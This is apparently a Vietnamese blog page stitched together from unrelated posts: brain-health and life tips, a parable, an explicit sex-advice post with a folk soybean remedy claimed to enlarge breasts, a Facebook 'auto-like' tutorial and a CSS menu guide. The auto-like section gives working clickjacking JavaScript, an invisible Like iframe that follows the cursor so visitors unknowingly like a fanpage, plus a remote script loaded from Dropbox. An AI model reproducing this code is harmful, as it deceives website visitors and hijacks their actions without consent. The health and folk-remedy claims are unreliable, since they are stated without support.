7 THÓI XẤU NGUY HẠI VỚI NÃO BỘ BẠN CẦN LOẠI BỎ NGAY

7 THÓI XẤU NGUY HẠI VỚI NÃO BỘ BẠN CẦN LOẠI BỎ NGAY

1. Không ăn sáng

Những người không ăn sáng sẽ có một lượng đường trong máu thấp hơn. Điều này dẫn đến một việc không cung cấp đầy đủ các chất dinh dưỡng cho não bộ gây thoái hóa não.

2. Tiêu thụ lượng đường cao

Quá nhiều đường sẽ làm gián đoạn quá trình hấp thụ protein và các chất dinh dưỡng, gây suy dinh dưỡng và có thể cản trở sự phát triển của não bộ.

3. Thiếu ngủ

Ngủ cho phép não bộ nghỉ ngơi. Thiếu ngủ sẽ đẩy nhanh cái chết của các tế bào não.

4. Chùm đầu khi ngủ

Chùm chăn qua đầu khi ngủ làm tăng nồng độ carbon dioxide và giảm nồng độ ôxy có thể dẫn đến thiệt hại não.

5. Làm việc căng thẳng khi đang bị bệnh

Làm việc chăm chỉ, học tập khi đang mắc bệnh hoặc bị ốm có thể làm giảm hiệu quả của bộ não cũng như tổn thương não.

6. Lười tư duy

Tư duy là cách tốt nhất để tăng cường chức năng của bộ não, thiếu suy nghĩ có thể gây ra co rút não.

7. Lười giao tiếp

Lười nói chuyện, ngại giao tiếp sẽ làm trì trệ chức năng của não bộ. Việc đàm thoại có liên quan đến trí tuệ sẽ phát huy hiệu quả chức năng của bộ não.

MỘT SỐ LỜI KHUYÊN CHO CUỘC SỐNG TỐT LÀNH

1. Uống nhiều nước
2. Ăn sáng như Vua, ăn trưa như Ông hoàng và ăn tối như Kẻ ăn xin (ăn ít)
3. Ăn nhiều thức ăn mọc trên cây và ăn ít thức ăn được chế tạo trong nhà máy.
4. Sống với 3 chữ N: Năng lực –Nhiệt thành- Nhân ái
5. Tìm ra thời gian để cầu nguyệ
6. Chơi trò chơi nhiều hơn
7. Đọc sách nhiều hơn so với năm trước
8. Mỗi ngày dành 10 phút ngồi yên lặng
9. Ngủ tối thiểu 7 giờ
10. Vừa đi bộ vừa mỉm cười 10-30 phút mỗi ngày
11. Đừng so sánh cuộc đời của mình với cuộc đời của những người khác. Không biết hành trình của họ như thế nào đâu.
12. Đừng có những suy nghĩ tiêu cực hoặc nghĩ những điều mà mình không thể làm chủ. Thay vào đó, hãy đầu tư năng lực của mình vào ngay thời điểm hiện tại.
13. Đừng làm gì quá sức. Phải giữ một giới hạn cho bản thân.
14. Đừng coi mình quá nghiêm trọng, coi như không ai sánh nổi.
15. Đừng phí năng lực quý báu vào những chuyện ngồi lê đôi mách.
16. Hãy biết mơ nhiều hơn ngay khi còn đang thức
17. Ghen tỵ là phí thì giờ. Mình đã có tất cả những gì mình cần rồi.
18. Hãy quên đi những chuyện đã qua. Đừng nhắc người thân nhớ lại những lỗi lầm trong quá khứ. Điều đó sẽ làm tan vỡ hạnh phúc đang có.
19. Cuộc sống quá ngắn để tốn thời gian căm ghét bất cứ ai. Chớ ghét bỏ ai
20. Hãy dàn hòa với quá khứ của mình để tránh làm hỏng cái hiện có
21. Không ai nuôi dưỡng hạnh phúc của mình, ngoài chính mình
22. Hãy coi cuộc đời là một trường học và bạn đang ở đó để học. Những điều khó hiểu chỉ là một phần của chương trình học, chúng xuất hiện rồi biến dần giống như môn Đại số. Nhưng những bài học mình thu nhận được sẽ kéo dài suốt đời
23. Hãy mỉm cười và cười nhiều hơn nữa
24. Không buộc phải thắng trong mọi cuộc tranh cãi. Hãy bằng lòng với sự bất đồng
25. Hãy thăm hỏi thường xuyên gia đình mình
26. Mỗi ngày hãy đưa lại vài điều tốt cho người khác
27. Hãy tha thứ cho mọi người về mọi chuyện
28. Hãy dành thời gian cho các cụ ngoài 70 và các cháu dưới 6 tuổi
29. Cố gắng làm được cho 3 người mỉm cười mỗi ngày
30. Không cần biết những điều người khác nghĩ về mình
31. Công việc không chăm sóc được khi mình đau ốm. Bạn mình mới làm được. Hãy luôn liên lạc với nhau
32. Hãy luôn làm những chuyện đúng đắn
33. Hãy gạt bỏ mọi chuyện bất lợi, không đẹp hoặc không vui
34. Trời sẽ chữa lành mọi chuyện
35. Dù cho mọi hoàn cảnh tốt hay xấu cũng sẽ thay đổi
36. Mặc dù cảm thấy thế nào cũng hãy đứng dậy, trưng diện lên và khoe với mọi người
37. Điều tốt nhất rồi sẽ đến
38. Thức dậy thấy vẫn sống, hãy cảm ơn Thượng đế
39. Trong lòng luôn thấy hạnh phúc. Đó chính là hạnh phúc
40. Hãy có những ngày cuối tuần thật tuyệt vời.

Có những lúc trong cuộc đời chúng ta cần phải giả mù để giữ gìn hạnh phúc

Có một cặp vợ chồng trẻ đang sống vô cùng hạnh phúc, người vợ rất xinh đẹp và người chồng rất mực yêu thuơng vợ mình.
Một thời gian sau, trong khi người chồng đi làm việc xa, người vợ tình cờ phát hiện ra mình đang bị một căn bệnh da kỳ lạ. Những đốm đỏ nổi lên từ vai rồi nhanh chóng lan ra khắp mặt mũi toàn thân. Cô lập tức đến gặp nhiều bác sĩ, nhưng họ cho biết căn bệnh này cực kỳ hiếm và cũng không có cách chữa trị.
Người vợ xinh đẹp vô cùng đau khổ, khuôn mặt cô đã trở nên xấu xí nhanh chóng, cô nghĩ mình sẽ mất tình thuơng yêu từ chồng và cuộc đời cô kể như chấm hết.
Rồi cô nhận được hung tin, xe của chồng cô gặp tai nạn khi anh đang làm việc xa nhà, và anh vẫn còn hôn mê sau nhiều ngày cấp cứu. Khi anh hồi tỉnh, cô cũng được các bác sĩ báo tin đôi mắt anh đã mù vĩnh viễn.
Người chồng mù trở về, và dĩ nhiên, anh không nhìn thấy sự thay đổi của vợ. Anh vẫn một mực yêu thuơng vợ như ngày nào, và dĩ nhiên cô cũng yêu anh không thể nói hết. Người vợ vẫn thuờng dắt chồng đi dạo trong thị trấn, cô quàng chặt tay anh và người chồng mù đeo cặp kính đen dùng chiếc gậy dò đường vừa đi vừa trò chuyện hạnh phúc.
Ít lâu sau, người vợ trượt chân ngã từ trên cầu thang xuống đất, cô đã không qua khỏi vì vết chấn thuơng ở đầu quá nặng. Người chồng đau khổ tột cùng trong ngày đưa tang vợ, khiến cư dân trong thị trấn không khỏi xót thương ..
Khi tang lễ chấm dứt, một người hàng xóm hỏi anh dự định thế nào trong những ngày sắp tới. Người chồng mù cho biết anh sẽ đi xa khỏi thị trấn này, nơi luôn gợi anh nhớ lại người vợ yêu thương cùng những tháng ngày hạnh phúc. Một người khác hỏi: "Anh đi đâu bây giờ khi không nhìn thấy gì cả, và biết làm gì khi không còn vợ bên cạnh như trước đây?".
Người chồng mù từ từ tháo cặp kính đen ra và chậm rãi trả lời: "Tôi chưa bao giờ mù, nhưng tôi luôn giả vờ mù trong những năm qua. Bởi vì nếu tôi nhìn thấy tất cả, vợ tôi còn đau đớn hơn căn bệnh quái ác kia đã tàn phá cô ấy. Tôi chỉ muốn vợ mình luôn hạnh phúc ...".
---------
Bạn thân mến,
Có những lúc trong cuộc đời chúng ta cần phải giả mù để giữ gìn hạnh phúc. Đừng nhìn thấy những điều nhỏ nhặt sẽ giúp cuộc sống chúng ta dễ dàng hơn phải không?

Chia Sẻ Kinh Nghiệm Giường Chiếu 18 +

Nay rảnh e sẽ chia sẻ kinh nghiệm làm tình cho các chị em !
Để chồng các chị dính như sam, nghiện vợ như nghiện thuốc đi đâu cũng muốn chạy về đè ra xoạc
Cảnh báo: ko nên đọc lúc chồng không có nhà.

về phần dạo đầu nhé .
trước hết phải tắm rửa sạh sẽ , k có váy ngủ sẹxy thì quấn khăn tắm trắng đảm bảo sẽ mang lại cảm giác vô cùng kích thích cho lão .
bên trong mặc lọt khe hoặc quần ren đỏ đô , đen , tím .. để lộ phần mông.sau khi tắm rửa xong vào mơn trớn lão , liếm tai
, thở gấp rồi tạo ra tiếng.
sau đó hôn môi mút lưỡi .
làm thật say đắm vào
, rồi lại liếm tai. mút cổ , mơn trớn đầu ti ( phàn này rất nhạy cảm . ) sau đó đưa lưỡi xuống rốn liếm nhẹ nhàng . khẽ rên ư ..a rồi lại lên trên mút đầu ti nhé tuyệt đối k mút xuống dương vật luôn .sau đó lấy tay vuốt ve 2 bên mạn phần eo ý

rồi đưa lưỡi liếm từ từ xuống phần dương vật . vừa liếm vừa thở gấp .
mân mê 2 hòn bi nhẹ nhàng .
liếm cho phát ra tiếng chụt chụt. để lão thấy mình nhiệt tình .
sau đó dùng đầu lưỡi đá xuống phần hậu môn , ( cái này cave nó hãy làm này cm , các ông ý chết mê vì cave nó làm nhiệt tình . một số mẹ bảo ghê thì e chịu , riêng e đã yêu e nhiệt tình và cực dâm trên giường , ) mẹ nào cảm thấy ko phù hợp với m thì bỏ qua
rồi lại từ hậu môn liếm 1 phát lên đầu dương vật
. cm để ý ở gần đầu dương vật có dây dương vật ý ,
đá lưỡi vào đấy mút nhẹ lỗ dương vật .
đưa đầu lưỡi liếm sâu vào lỗ thật nhẹ nhàng .
lúc này hắn sẽ van xin vì phê luôn . cm tập trung chủ yếu ở phần đầu và 2 hòn bi ( hãy thử cả lỗ hậu môn , đảm bảo hắn sẽ ngạc nhiên và tự hào vì khả năng làm tình của cm lắm đấy) .
mút chụt chụt vào thở gấp rồi khẽ rên .

- trong quá trình qh nhé . đang lên đến cao
trào rồi cm rên rồi nói " ư a! ck ơi ck địt vk phê quá " ns tầm 2,3 lần thôi đảm bảo hắn nghe dk hắn sướng tê chim luôn .

buổi thứ 2 cm nói bạo hơn
" ư a , ck ơi buồi ck to địt vk sướng quá , ư vk k chịu được nữa rồi ck ơi . 2 tay bám chặt vào ga giường,
cắn môi rồi cổ ngẩng lên liên mồm rên rồi khen lão , các hôm sau thay đổi nhé đang địt cm rên ư a ck ơi vk phê quá . ck địt phê quá.... ck tuyệt vời nhất .. đó khi cm na như thế lão vô cùng có động lực và cảm thấy sung sức .

tuyệt đối đừng nằm rên k nhạt nhẽo lắm . mà đang địt nhu thế quay mông vào người hắn song hắn nằm phía sau đút vào ý , lấy tay hắn vê vê vào hột le nước nôi ra nữa thì lên mẹ cung trăng chứ đỉnh ăn thua gì .

Ah nói về nuớc nôi c em nào khô hạn ,
E bày cho cách :

Đậu nành đem về ngâm nước ấm 3 tiếng
Cho vào túi vải đen treo 1 góc
Mỗi ngày tưới nước 3 lần cho túi ẩm
Sau 2 ngày mầm mọc đem rửa sạch phơi khô
Rồi mang ra hiệu họ xay cho
Ngày uống 2 cốc nước tràn bờ đê hơn mùa lũ,
Tăng size ngực, tăng ham muốn
Đó là nội tiết tố tự nhiên có trong mầm của đậu nành tiếng anh là gì e quên bố nó mất thôi để e sợt gu gồ rồi not sau

(Nhưng khuyến cáo ko có mua nha vì chả biết người bán có ủ mầm ko vì xay mỗi đậu nành và mầm mùi vị giống nhau lắm ! Tốt nhất tự làm nha các mẹ !)

Còn ở thế truyền thống hôn đắm đuối vào rồi liếm cổ lão , hít hà cơ thể hắn thật sâu rồi nói vk yêu ck . tay phải linh động lên , vuốt ve cả ng hắn .
- sau khi đã xong . cm hãy khen lão ck tuyệt vời quá ,
vk yêu ck lắm... đấy đảm bảo lão sướng tê chim luôn .

đàn ông họ cực thích mình hư trên giường nhé , mà họ còn thích nhất là khi mình vừa tắm rửa xong da thơm mát , chứ mà mồ hôi mồ kê nhễ nhại chua lòm thì có thèm hắn cũng cho xong chuyện chứ ko thèm bú liếm gì đâu

Hoặc năng tập thể dục , để dáng chuẩn
Cũng có nhiều mẹ quá bận , con nhỏ cũng như mình vẫn có thể cải thiện dc cơ thể
Cũng có nhiều cách như chườm muối giảm eo , như mình trước đây mọi thứ ok chỉ trừ mỗi lần mặc đồ ngủ ko sao sexy dc vì eo quá bự , quá kinh , trong khi eo là nơi quyến rũ ko kém ji ngực , một nơi chồng lột đồ lót sau đó hôn rốn hôn vùng cận lông, mà mỡ dồn 1 cục thì lột đồ ra đủ tắt nứng rồi huống chi là xoạc
Sau này khi chườm muối giảm dc thành công thì chồng e luôn xuyt xoa, nhất là khi e quỳ trên Giường lão sẽ cùng quỳ và bú ngực e ,rồi tới vòng eo đó xoa eo r lột quần lót đẩy e nằm xuống , lè lưỡi vào hột le tay còn lại xoa eo vùng bụng nhỏ lên tới 2 bầu ngực phải nó nó tê giã man, như ngày xưa thì e ko dám thế vì tự ti vùng bụng, chỉ tắt đèn trùm chăn , thiệt thòi mất bao năm cm ạ
Lão đã nói với em
E là con ở khi ở nhà, ra đường như bà hoàng , và lên giường như một con đ..
Và e thấy tự tin hơn, cháy hết mình hơn

Ngoài thân hình cũng nên tỉa lông cho gọn gàng , nhiều khi muốn đè vợ ra bú líem mà mồm toàn lông phải vạch ra thì các ông nc cũng tắt cả hứng.
thân hình là thứ thuốc kích dục cực mạnh cho đàn ông !
Các mẹ cả các em chưa chồng chưa con đối với người yêu cũng thế!
Cứ dùng vũ khí đấy mà sd đối với nửa kia của mình.

Cho đi và nhận lại là quy luật phòng the chứ cứ như kiểu hưởng thụ chính là cái cớ chonđàn ông muốn tìm cái mới

Nc thì đàn ông ko phải ai cũng trăng hoa hay có tính ngoại tình
Căn bản có ngưoi tuy vợ lãnh cãm vẫn yêu , nhưng tình dục Chiếm 80/% hp gd
Ngoài tình dục thì còn tình nghĩa, còn tình yêu
Nhưng nếu các chị đã có tình yêu, có tình nghĩa , mà còn giỏi sex , ngon cơm ngọt nước thì chả chồng nào không mê ! Ko sướng phải ko ạ?
Giỏi sex cũng là cách giữ lửa cho hôn nhân, thăng hoa trong cuộc sống ,đây là kinh nghiệm Em và đúc kết từ những c đi trước hy vọng giúp ích cho các chị em
chúc các mẹ thêm xinh và thêm màu sắc tromg cuộc hôn nhân của mình.
Yêu thương

Auto like Facebook khi click chuột vào vị trí bất kỳ cho blog

Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot

Hiện nay bạn thấy khá nhiều trang trên face có số lượng like rất lớn nhưng thực tế có phải đó là con số thực hay không, Câu trả lời đa số là không. Rất nhiều người đã dùng mẹo để người dùng trở thành viên của họ mà đến người dùng nếu không để ý cũng không hề hay biết chuyện đó. Và chính bản thân Namkna nhiều lúc cũng thấy lạ là tại sao mình không hề like trang đó mà trên time like lại nói mình thích trang đó.

Qua tìm hiển namkna đã phát hiện ra họ đang sử dụng một phương thức đó là dùng scrip auto like để khiến người đùng like trang fanpage mà  không hề hay biết. Mình giới thiệu nhưng nó không đồng nghĩa với việc mình khuyến khích các bạn sử dung cách này vì sau đó nếu họ bấm unlike thì sẽ mất hình ảnh của bạn đóa.

Bài viết này mình sẽ giới thiệu với các bạn 2 style khác nhau để các bạn lựa chọn cho thích hợp với sở thích của chính các bạn, Mỗi dạng sẽ có một ưu điểm khác nhau bạn có thể tham khảo ở bên dươi: 

• Style 1: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ là unlike
• Style 2: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike

» Nguyên tắc hoạt động của Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot

- Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

- Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

- Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.

» Style 1: Kết hợp cả lile và dislike tự động cho facebook

Với style này khi bạn click chuột lần đầu sẽ là like nhưng nếu bạn tiếp tục bấm chuột lần nữa thì nó sẽ là dislike, Điều này đồng nghĩa với việc hên xui kiểu 50 - 50 có lúc được có lúc không.
1- Vào Bố cục (Layout)

2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script type="text/javascript">
  //<![CDATA[
(function(){
  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/changingfeeling') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=30';

  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0.5;
  document.getElementsByTagName('body')[0].appendChild(lbox);
  window.addEventListener('mousemove', mouseMove, false);
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    lbox.style.top = (Ycord - 8) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    return true
  }
})();
  //]]>
</script>

» Tùy chỉnh:

• Bạn thay http://www.facebook.com/changingfeeling thành URL trang face của bạn.
• Tùy chỉnh lại các giá trị màu cam cho phù hợp với bạn nha,

3- Lưu tiện ích lại và kiểm tra kết quả của bạn nha.

» Style 2: Tự động like lần đầu và những lần bấm sau không có tác dụng.

Với dạng này Khi người dùng click lần 1 sẽ like Fan của bạn, nhưng nếu họ click thêm lần nữa bị cũng không bị Unlike (giảm nguy cơ mất like)

1- Vào Bố cục (Layout)

2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

<script>
var fan_page_url = 'https://www.facebook.com/changingfeeling' 
var opacity =0.04;
var time = 45000; 
</script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/u/66256041/popup/namkna.blogspot.con/autolikefacebook.js"></script>

Lưu mẫu lại và kiểm tra thành quả của bạn nha. 

TẠO MENU NGANG ĐẸP CHO BLOG

TẠO MENU NGANG ĐẸP CHO BLOG

     Hôm nay, giới thiệu với các bạn cách tạo menu ngang đơn giản (không có menu con xổ xuống). Đặc điểm nổi bật của menu này là đơn giản, đẹp, cài đặt dễ dàng mà không cần phải chèn code vào HTML của blog. Thích hợp với những blog có ít chuyên mục, đặc biệt là các mẫu mặc định của Blogspot và các bạn mới lập blog. Các bạn có thể xem trước mẫu menu này

Menu sẽ được tạo bằng các bước đơn giản sau đây:

1. Bấm vào "Thiết kế" trên thanh điều khiển sẽ hiện ra giao diện "Trang tổng quan". Tìm trong giao diện vừa hiện ra nút "Bố cục" và bấm vào đó. Một giao diện khác hiện ra, bấm "Thêm tiện ích" [1]. 
(Nên chọn vị trí "Thêm tiện ích" ở ngay dưới tiêu đề blog cho tiện.)

2. Trong bảng "Thêm tiện ích" hiện ra - bấm "HTML/Javascript" [2].

Tại giao diện "Định cấu hình HTML/JavaScript" - để trống tiêu đề và dán toàn bộ code trong khung dưới vào vị trí tương ứng.

<style>

 /*------ CSS3 Menu By MBT (www.mybloggertricks.com)---------*/

 #mbt-menu, {
    margin: 0;
    padding: 0;
    list-style: none;
    }
    #mbt-menu {
    width: 960px;
    margin: 10px auto;
    border: 0px solid #222; 
    background-color: #888; 
    background-image: -moz-linear-gradient(#666, #FAF);
    background-image: -webkit-gradient(linear, left top, left bottom, from(#666), to(#FAF));
    background-image: -webkit-linear-gradient(#666, #FAF);
    background-image: -o-linear-gradient(#666, #FAF);
    background-image: -ms-linear-gradient(#666, #FAF);
    background-image: linear-gradient(#666, #FAF);
    -moz-border-radius: 6px;
    -webkit-border-radius: 6px;
    border-radius: 6px;
    -moz-box-shadow: 0 1px 1px #777;
    -webkit-box-shadow: 0 1px 1px #777;
    box-shadow: 0 1px 1px #777;
    }
    #mbt-menu {
    zoom:1;
    }
    #mbt-menu li {
    float: left;
    border-right: 1px solid #222;
    -moz-box-shadow: 1px 0 0 #444;
    -webkit-box-shadow: 1px 0 0 #444;
    box-shadow: 1px 0 0 #444;
    position: relative;
    }
    #mbt-menu a {
    float: left;
    padding: 12px 30px;
    color: #FFF;
    text-transform: uppercase;
    font: bold 12px Arial, Helvetica;
    text-decoration: none;
    text-shadow: 0 1px 0 #222;
    }
    #mbt-menu li:hover > a {
    color: #FC803D;
    }
    *html #mbt-menu li a:hover { /* IE6 only */
    color: #FC803D;
    }
    #mbt-menu li:hover > ul {
    opacity: 1;
    visibility: visible;
    margin: 0;
    }
    #mbt-menu ul a:hover {
    background-color: #FC803D;
    background-image: -moz-linear-gradient(#07CDEF, #0186ba);
    background-image: -webkit-gradient(linear, left top, left bottom, from(#07CDEF), to(#0295DG));
    background-image: -webkit-linear-gradient(#07CDEF, #0295DG);
    background-image: -o-linear-gradient(#07CDEF, #0295DG);
    background-image: -ms-linear-gradient(#07CDEF, #0295DG);
    background-image: linear-gradient(#07CDEF, #0295DG);
    }
    </style>
    <ul id="mbt-menu">
    <li><a href="LINK BLOG">TRANG CHỦ</a></li>
    <li><a href="LINK NHÃN 1">TÊN NHÃN 1</a></li>
    <li><a href="LINK NHÃN 2">TÊN NHÃN 2</a></li>
    <li><a href="LINK NHÃN 3">TÊN NHÃN 3</a></li>
    <li><a href="LINK NHÃN 4">TÊN NHÃN 4</a></li>
    <li><a href="LINK NHÃN 5">TÊN NHÃN 5</a></li>
    </ul>

Lưu ý: 
  - Con số "960" (tô màu xanh) trong dòng code "width: 960px" là độ rộng thanh menu - các bạn có thể tăng, giảm cho phù hợp với độ rộng của blog. 
 - Thay phần tô màu đỏ bằng link các nhãn trong blog của các bạn, và phần tô màu xanh thành tên các nhãn tương ứng. Các bạn chưa quen, có thể tham khảo cách lấy link và dán link tại bài viết:

CÁCH GẮN LINK NHÃN LÊN THANH MENU

3. Bấm "Lưu" [3] để lưu lại và hệ thống sẽ tự động trở lại giao diện như ở bước 1 và tại vị trí "Thêm tiện ích" ban đầu đã hiện thị một tiện ích mới với tiêu đề: "HTML/JavaScript" [4]. Đây chính là thanh menu đang tạo 

 - Trong bước này, các bạn có thể đặt lại vị trí thanh menu (dùng chuột kéo thả, di chuyển tiện ích vừa tạo đến vị trí thích hợp - trường hợp này chỉ cần thao tác khi bạn chọn "Thêm tiện ích" không nằm ngay dưới thanh tiêu đề từ bước 1.)
4. Bước cuối cùng: Bấm "Lưu sắp xếp" [5] để hoàn thành và trở lại trang chủ xem kết quả.
 P/S: Các đoạn code trên do một nhà thiết kế người Indonesia chia sẻ đã chỉnh sửa lại màu sắc và Việt hóa cho phù hợp.